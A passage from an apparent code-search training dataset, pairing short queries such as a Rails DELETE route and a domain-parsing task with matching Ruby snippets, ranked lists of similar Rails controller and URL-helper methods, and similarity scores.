"def update\n @news_update = NewsUpdate.find(params[:id])\n\n respond_to do |format|\n if @news_update.update_attributes(params[:news_update])\n format.html { redirect_to(@news_update, :notice => 'News update was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @news_update.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(params={})\n self.request(__method__, params)\n end",
"def update\n @serie = Serie.find(params[:id])\n\n respond_to do |format|\n if @serie.update_attributes(serie_params)\n format.html { redirect_to(@serie, :notice => 'Serie was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @serie.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n\n respond_to do |format|\n if @entry_instrument.update_attributes(params[:entry_instrument])\n flash[:notice] = 'EntryInstrument was successfully updated.'\n format.html { redirect_to(@entry_instrument) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @entry_instrument.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end",
"def update\n @web_info = WebInfo.find(params[:id])\n\n respond_to do |format|\n if @web_info.update_attributes(params[:web_info])\n format.html { redirect_to(web_infos_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @web_info.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @packageinfo = Packageinfo.find(params[:id])\n\n respond_to do |format|\n if @packageinfo.update_attributes(params[:packageinfo])\n format.html { redirect_to(@packageinfo, :notice => 'Packageinfo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @packageinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @note = Note.find(params[:id])\n\n # Warning. jQuery doesn't validate \"head :ok\" as valid without (for example) 'dataType: \"html\"'.\n\n respond_to do |format|\n if @note.update_attributes(params[:note])\n SyncLog.note_update(@note.graph.id, @note, params[:clientId])\n format.xml { head :ok }\n else\n format.xml { render :xml => @note.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update options={}\n client.put(\"/#{id}\", options)\n end",
"def update\n @sitio = Sitio.find(params[:id])\n\n respond_to do |format|\n if @sitio.update_attributes(params[:sitio])\n format.html { redirect_to(@sitio, :notice => 'Sitio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @sitio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end",
"def UpdateArticle id,params = {}\n \n APICall(path: \"help_center/articles/#{id}.json\",method: 'PUT',payload: params.to_json)\n \n end",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def updateX\n @server = Server.find(params[:id])\n\n respond_to do |format|\n if @server.update_attributes(params[:server])\n format.html { redirect_to(@server, :notice => 'Server was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @server.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @information.update(information_params)\n format.html { redirect_to @information, notice: 'Данные отчета обновлены.' }\n format.json { render :show, status: :ok, location: @information }\n else\n format.html { render :edit }\n format.json { render json: @information.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @noami = Noami.find(params[:id])\n\n respond_to do |format|\n if @noami.update_attributes(params[:noami])\n format.html { redirect_to(@noami, :notice => 'Noami was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @noami.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @computer.versionless do |doc|\n if doc.update(computer_params)\n format.html { redirect_to computers_path, notice: t('computer.updated') }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @computer.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def update\n respond_to do |format|\n if @feed_info.update(feed_info_params)\n format.html { redirect_to @feed_info, notice: 'Feed info was successfully updated.' }\n format.json { render :show, status: :ok, location: @feed_info }\n else\n format.html { render :edit }\n format.json { render json: @feed_info.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end",
"def update\n\n end"
] |
[
"0.6464016",
"0.6207809",
"0.61195457",
"0.6046499",
"0.6007649",
"0.5887896",
"0.5854325",
"0.5813116",
"0.580748",
"0.5807163",
"0.5666787",
"0.56336683",
"0.5627781",
"0.55768883",
"0.5574242",
"0.5559745",
"0.5559745",
"0.55391574",
"0.55262184",
"0.5523536",
"0.54991037",
"0.5496264",
"0.5495179",
"0.54744655",
"0.5437104",
"0.54092157",
"0.54054767",
"0.5372755",
"0.5358804",
"0.53516465",
"0.53413844",
"0.5322905",
"0.53187996",
"0.5315931",
"0.53128254",
"0.5299639",
"0.52958953",
"0.5293328",
"0.5280425",
"0.5264752",
"0.52615786",
"0.5256222",
"0.52556986",
"0.5249032",
"0.52433795",
"0.52424455",
"0.5229181",
"0.5224965",
"0.52210414",
"0.5214026",
"0.5214026",
"0.52125293",
"0.5209418",
"0.52043426",
"0.5200235",
"0.51979476",
"0.5195685",
"0.5189773",
"0.51850396",
"0.51840276",
"0.51840276",
"0.51840276",
"0.51840276",
"0.5183672",
"0.5178357",
"0.51668143",
"0.516303",
"0.5160704",
"0.51551986",
"0.5140861",
"0.5134714",
"0.5131141",
"0.5126005",
"0.5125755",
"0.512368",
"0.51211166",
"0.51194495",
"0.51174396",
"0.51155037",
"0.51154745",
"0.5114246",
"0.51106656",
"0.5109966",
"0.5103357",
"0.50982493",
"0.5094806",
"0.509122",
"0.5086629",
"0.5084674",
"0.5080602",
"0.5080551",
"0.5075195",
"0.50703895",
"0.5069953",
"0.5069953",
"0.5069953",
"0.5069953",
"0.5069953",
"0.5069953",
"0.5069953"
] |
0.69086146
|
0
|
DELETE /latestinfos/1 DELETE /latestinfos/1.xml
|
def destroy
@latestinfo = Latestinfo.find(params[:id])
@latestinfo.destroy
respond_to do |format|
format.html { redirect_to(latestinfos_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @info = Info.find(params[:id])\n @info.destroy\n\n respond_to do |format|\n format.html { redirect_to(infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @info = Info.find(params[:id])\n @info.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reqinfo = Reqinfo.find(params[:id])\n @reqinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(reqinfos_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def destroy\n @news_update = NewsUpdate.find(params[:id])\n @news_update.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_updates_url) }\n format.xml { head :ok }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete_now\n revisions.each do |rev_id| \n CouchDB.delete( \"#{uri}?rev=#{rev_id}\" )\n end\n true \n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @url_info = UrlInfo.find(params[:id])\n @url_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(url_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @update = Update.find_by_permalink(params[:id])\n @update.destroy\n\n respond_to do |format|\n format.html { redirect_to(updates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @relatestagiario = Relatestagiario.find(params[:id])\n @relatestagiario.destroy\n\n respond_to do |format|\n format.html { redirect_to(relatestagiarios_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def delete_by_id id, opts = {}\n update opts.merge(:data => xml.delete_by_id(id))\n end",
"def destroy\n @news_blast = NewsBlast.find(params[:id])\n @news_blast.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_blasts_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @rssnew = Rssnews.find(params[:id])\n @rssnew.destroy\n\n respond_to do |format|\n format.html { redirect_to(rssnews_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n delete_from_server single_url\n end",
"def destroy\n @update_log = UpdateLog.find(params[:id])\n @update_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(update_logs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @file_info = FileInfo.find(params[:id])\n @file_info.destroy\n\n respond_to do |format|\n format.html { redirect_to file_infos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @discovery = Discovery.find(params[:id])\n @discovery.destroy\n\n respond_to do |format|\n format.html { redirect_to(discoveries_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @populate_feed_info = PopulateFeedInfo.find(params[:id])\n @populate_feed_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(populate_feed_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(\"/\") }\n format.xml { head :ok }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @admin_information = Admin::Information.find(params[:id])\n @admin_information.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_informations_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @userinfo = Userinfo.find(params[:id])\n @userinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(userinfos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @update = Update.find(params[:id])\n @update.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_updates_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @instrument_version = InstrumentVersion.find(params[:id])\n @instrument_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_versions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @today_activity = TodayActivity.find(params[:id])\n @today_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(today_activities_url) }\n format.xml { head :ok }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @nano = Nano.find(params[:id])\n @nano.destroy\n\n respond_to do |format|\n format.html { redirect_to nanos_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @article = Article.find_by_sysname(params[:id])\n @article.destroy\n\n respond_to do |format|\n format.html { redirect_to(articles_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @dato = Dato.find(params[:id])\n @dato.destroy\n\n respond_to do |format|\n format.html { redirect_to(datos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(news_item_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @datetime.destroy\n\n respond_to do |format|\n format.html { redirect_to request.env['HTTP_REFERER'] }\n format.xml { head :ok }\n end\n end",
"def destroy\n @detail = Detail.find(params[:id])\n @detail.destroy\n\n respond_to do |format|\n format.html { redirect_to(details_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @dossier = Dossier.find(params[:id])\n @dossier.destroy\n\n respond_to do |format|\n format.html { redirect_to(dossiers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @erratum = Erratum.find(params[:id])\n @erratum.destroy\n\n respond_to do |format|\n format.html { redirect_to(errata_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @img_info = ImgInfo.find(params[:id])\n @img_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(img_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @newsinfo.destroy\n respond_to do |format|\n format.html { redirect_to newsinfos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(stats_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @stat = Stat.find(params[:id])\n @stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(stats_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @notifier.destroy\n\n respond_to do |format|\n format.html { redirect_to(notifiers_url, :notice => 'Kennisgever is succesvol ontkoppeld.') }\n format.xml { head :ok }\n end\n end",
"def destroy1\n @todo = Todo.find(params[:id])\n @todo.destroy\n\n respond_to do |format|\n format.html { redirect_to(todos_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n @one.info\n @one.delete\n end",
"def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lien = Lien.find(params[:id])\n @lien.destroy\n\n respond_to do |format|\n format.html { redirect_to(liens_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @changelog = Changelog.find(params[:id])\n @changelog.destroy\n\n respond_to do |format|\n format.html { redirect_to(changelogs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @document.destroy\n save_log({ :action => 'DELETE', :document => { :before => @old_document }})\n #TODO delete the file from disk\n respond_to do |format|\n format.html { redirect_to(documents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @packageinfo = Packageinfo.find(params[:id])\n @packageinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(packageinfos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @personal_info = PersonalInfo.find(params[:id])\n @personal_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(personal_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @live_news = LiveNews.find(params[:id])\n @live_news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_live_news_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news = News.find(params[:id])\n @news.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_news_index_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n api_client.delete(url)\n end",
"def destroy_rest\n @entry_item = EntryItem.find(params[:id])\n @entry_item.destroy\n\n respond_to do |format|\n #format.html { redirect_to(entry_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node_config = NodeConfig.destroy(params[:id])\n xml=@node_config.to_xml\n json=@node_config.to_json\n @node_config.destroy\n\n respond_to do |format|\n format.html { redirect_to(node_configs_url) }\n format.json { render :json => json}\n format.xml { render :xml => xml}\n end\n end",
"def destroy\n @genbank_file.destroy\n\n respond_to do |format|\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @patientinformation = Patientinformation.find(params[:id])\n @patientinformation.destroy\n\n respond_to do |format|\n format.html { redirect_to(patientinformations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @installation = Installation.find(params[:installation_id]) \n @eat = Eat.find(params[:id])\n @eat.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nom = Nom.find(params[:id])\n @nom.destroy\n\n respond_to do |format|\n format.html { redirect_to(noms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @doi.updates.each do |update|\n update.destroy\n end\n @doi.comments.each do |comment|\n comment.destroy\n end\n @doi.destroy\n respond_to do |format|\n format.html { redirect_to dois_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @estudiante = Estudiante.find(params[:id])\n @estudiante.destroy\n\n respond_to do |format|\n format.html { redirect_to(estudiantes_url) }\n format.xml { head :ok }\n end\n end",
"def delete; rest_delete(link('self')); end",
"def delete; rest_delete(link('self')); end",
"def destroy\n @docent = Docent.find(params[:id])\n @docent.destroy\n\n respond_to do |format|\n format.html { redirect_to(docents_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @web_info = WebInfo.find(params[:id])\n @web_info.destroy\n\n respond_to do |format|\n format.html { redirect_to(web_infos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @node = Node.find(params[:id])\n @node.destroy\n\n respond_to do |format|\n format.html { redirect_to(nodes_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n request(:delete)\n end",
"def destroy\n @backup = Backup.find(params[:id])\n @backup.destroy\n\n respond_to do |format|\n format.html { redirect_to(backups_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @detour = Detour.find(params[:id])\n @detour.notifications.each do |n|\n logger.info(\"Deleteing notification \" + n.id.to_s + \" for detour \" + @detour.id.to_s + \"\\n\")\n n.destroy\n end\n @detour.destroy\n\n respond_to do |format|\n format.html { redirect_to(detours_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @item_usage = ItemUsage.find(params[:id])\n @item_usage.destroy\n\n respond_to do |format|\n format.html { redirect_to(item_usages_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_daily = VehicleDaily.find(params[:id])\n @vehicle_daily.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_dailies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @updaterete = Updaterete.find(params[:id])\n @updaterete.destroy\n\n respond_to do |format|\n format.html { redirect_to updateretes_url }\n format.json { head :no_content }\n end\n end",
"def destroy \n Link.connection.execute(\"delete from links where id in (#{params[:id].join(',')})\") unless params[:id].blank?\n respond_to do |format|\n format.html { redirect_to(links_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @news_latest.destroy\n respond_to do |format|\n format.html { redirect_to news_latests_url, notice: 'News latest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @last_id = LastId.find(params[:id])\n @last_id.destroy\n\n respond_to do |format|\n format.html { redirect_to(last_ids_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @visit_stat = VisitStat.find(params[:id])\n @visit_stat.destroy\n\n respond_to do |format|\n format.html { redirect_to(scaffold_visit_stats_url) }\n format.xml { head :ok }\n end\n end",
"def destroy_rest\n @entry_instrument = EntryInstrument.find(params[:id])\n @entry_instrument.destroy\n\n respond_to do |format|\n format.html { redirect_to(entry_instruments_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @doc = Doc.find(params[:id])\n @doc.destroy\n\n respond_to do |format|\n format.html { redirect_to(docs_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.69785917",
"0.66624707",
"0.6528485",
"0.6459862",
"0.64228827",
"0.6422457",
"0.64184856",
"0.63670224",
"0.6334539",
"0.63317007",
"0.62889427",
"0.6273694",
"0.6249011",
"0.62483597",
"0.6210001",
"0.6203116",
"0.6172312",
"0.6148442",
"0.6147536",
"0.61439204",
"0.61433023",
"0.6081293",
"0.6070085",
"0.60698694",
"0.6068994",
"0.6065856",
"0.60648793",
"0.6055091",
"0.6049782",
"0.60355014",
"0.6030861",
"0.60285306",
"0.60194045",
"0.60193884",
"0.60193884",
"0.60193884",
"0.6018313",
"0.60151404",
"0.60095274",
"0.6006471",
"0.5991929",
"0.59913415",
"0.59913415",
"0.599003",
"0.5985149",
"0.59815586",
"0.59758615",
"0.5969457",
"0.5969457",
"0.5969457",
"0.5969457",
"0.59679383",
"0.59649",
"0.5962288",
"0.5959175",
"0.5958167",
"0.5958167",
"0.59562373",
"0.59481627",
"0.5946237",
"0.59344923",
"0.59344923",
"0.59325445",
"0.5924757",
"0.59228426",
"0.5919567",
"0.59187573",
"0.5916896",
"0.5916896",
"0.59127486",
"0.59096754",
"0.59069",
"0.5902468",
"0.5899662",
"0.5899421",
"0.58994",
"0.5894584",
"0.5892921",
"0.5891742",
"0.5890978",
"0.5890978",
"0.58848506",
"0.58815753",
"0.5880553",
"0.5880553",
"0.5880553",
"0.5880553",
"0.5880553",
"0.5877973",
"0.5874762",
"0.5873378",
"0.586869",
"0.5868179",
"0.586786",
"0.5864822",
"0.5861891",
"0.58581924",
"0.5857369",
"0.5855969",
"0.58543265"
] |
0.7341333
|
0
|
Parses website domain without www
|
def get_host_without_www(url)
url = "http://#{url}" if URI.parse(url).scheme.nil?
host = URI.parse(url).host.downcase
host.start_with?('www.') ? host[4..-1] : host
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_domain url\n uri = URI.parse url\n host = uri.host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n end",
"def get_url_domain\n uri = URI.parse(url)\n host = uri.host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n end",
"def domain_name(url)\n #url.gsub(/http:|https:|www.|\\/\\/|.com.*/,'')\n url.gsub(/http:|https:|www.|\\/\\//,'').split('.').first\nend",
"def domain_name(url)\n url.gsub(\"www.\",\"\").split(\"//\")[1].split(\"/\")[0].split('.')[0]\nend",
"def domain_name(url)\n url.gsub(/http(s)?:\\/\\/(www.)?/, '').match(/[^.]+/)[0]\nend",
"def get_host_without_www(url)\n url = \"http://#{url}\" unless url.start_with?('http')\n uri = URI.parse(url)\n host = uri.host.downcase\n host.start_with?('www.') ? host[4..-1] : host\n end",
"def domain_name(url)\n if url.match(/^www/)\n p url.split(\".\")[1]\n elsif url.match(/^http/)\n x = url.split(\"/\")[2]\n if x.match(/^www/)\n p x.split(\".\")[1]\n else\n p x.split(\".\")[0]\n end\n else\n p url.split(\".\")[0]\n end\nend",
"def domain_name(str)\n str = str.split('//')\n str = str[str.size - 1].split('.')\n str.delete('www')\n str[0]\nend",
"def domain_name(url)\n url.match(/(http[s]?:\\/\\/[\\\\w]{3}?\\.?)(\\w+-?\\w+)/)[-1]\nend",
"def parse_url_host\n url = self.url.gsub(/^https?\\:\\/\\//, '')\n url = url.gsub(/www\\./, '') unless (url.match(/www\\./).blank? && url.gsub(/www\\./, '').match(/[A-Za-z]/))\n self.url = \"https://\" + url\n end",
"def domain_name(url)\n url.match(%r{(http(s)?://)?(www.)?([a-zA-Z0-9-]*)}).to_a.last\nend",
"def domain url\n domain = URI.parse(url.sub(%r{[?#].*$}, '').gsub(/\\s/, '+')).domain rescue nil\n domain || url.scan(%r{https?://([^/]+)}).first\n end",
"def get_domain(url)\n url_partitioned_at_double_hash = url.partition(\"//\")\n domain_partitioned_at_hash = url_partitioned_at_double_hash[2].partition(\"/\")\n domain_partitioned_at_hash[0]\nend",
"def www_url(path = '/', url = nil)\n strip_subdomain(\"www\", path, url)\n end",
"def website_domain\n 'www.' + base_domain\n end",
"def parse_for_urls(doc, domains)\n\tlinks = doc.search('//*[@id=\"wg0\"]/li/div/div/div[1]/h3/a')\n\tlinks.each do |link|\n\t\tdomain = get_host_name(link.attributes['href'])\n\t\tdomains[domain] = link.inner_text\n\tend\n\treturn domains\nend",
"def org_website(item:)\n return nil unless item.present? && item.fetch('links', [])&.any?\n return nil if item['links'].first.blank?\n\n # A website was found, so extract just the domain without the www\n domain_regex = %r{^(?:http://|www\\.|https://)([^/]+)}\n website = item['links'].first.scan(domain_regex).last.first\n website.gsub('www.', '')\n end",
"def clean_url\n #use try instead for nil?\n unless self.url.nil?\n parsed_url = URI.parse(self.url).host.sub(/\\Awww\\./, '')\n else\n nil\n end\n end",
"def normalized_domain\n if @text.empty?\n nil\n elsif parsed_domain\n parsed_domain.host\n end\n end",
"def domain\n URI(base_url).host.downcase\n end",
"def domain_name(url)\n regex = /(?:(http|https):\\/\\/)?(?:www\\.)?(?<domain_name>.*?)\\./\n return url.match(regex)[:domain_name]\n \n # original solution:\n # regex = /(?:(?:(?:http:\\/\\/)?(?:www\\.)?)|(?:(?:https:\\/\\/)?(?:www\\.)?))([\\w-]+)\\./\n # matches = regex.match(url)\n # return matches.to_a.last\nend",
"def subdomain\n host.split(\".\").first\n end",
"def org_website(item:)\n return nil unless item.present? && item.fetch('links', [])&.any?\n return nil if item['links'].first.blank?\n\n # A website was found, so extract just the domain without the www\n domain_regex = %r{^(?:http://|www\\.|https://)([^/]+)}\n website = item['links'].first.scan(domain_regex).last.first\n website.gsub('www.', '')\n end",
"def org_website(item:)\n return nil unless item.present? && item.fetch('links', [])&.any?\n return nil if item['links'].first.blank?\n\n # A website was found, so extract just the domain without the www\n domain_regex = %r{^(?:http://|www\\.|https://)([^/]+)}\n website = item['links'].first.scan(domain_regex).last.first\n website.gsub('www.', '')\n end",
"def get_host_name(url)\n\tmatch = %r|(https?://)?(?<host>[^/]+)(/.*$)?|.match(url)\n\tmatch['host']\nend",
"def parse_user_domain(hostname)\n return hostname.split('.').first if Rails.configuration.url_host.empty?\n Rails.configuration.url_host.split(',').each do |url_host|\n return hostname.chomp(url_host).chomp('.') if hostname.include?(url_host)\n end\n ''\n end",
"def get_host_from_url(url)\n return url[0...url.index(\"/\")]\nend",
"def website_link\n return unless website?\n\n @website_link ||= website.split(\"//\")[1].sub(/^www\\./, \"\")\n end",
"def site_sanitized\n if site.nil?\n return nil\n else\n if site.starts_with?('http://') || site.starts_with?('https://')\n return site\n else\n return 'http://' + site\n end\n end\n \n end",
"def domain_name(url)\n return nil unless url\n if m=url.match(/([^.\\/ ]+)\\.(com|net|info|org|name|biz|gov|\\w\\w)(\\.\\w+)?(\\/.*)*(\\?.*)*$/)\n \"#{m[1]}.#{m[2]}\"\n else\n url\n end\n end",
"def full_url\n if website.match(/[A-Za-z]:\\/\\//)\n website\n else\n \"http://#{website}\"\n end\n end",
"def sanitize_url(url)\n # URL matches 'www'\n if url =~ /w{3}/\n sterilize url.split(/\\./)[1]\n # URL does not match 'www'\n else\n first_parts = url.split(/\\./)[0..1]\n scheme_eliminated = first_parts.map {|part| part.gsub(/[a-zA-Z]+\\W+/, '')}.join(' ')\n sterilize(scheme_eliminated) \n end\n end",
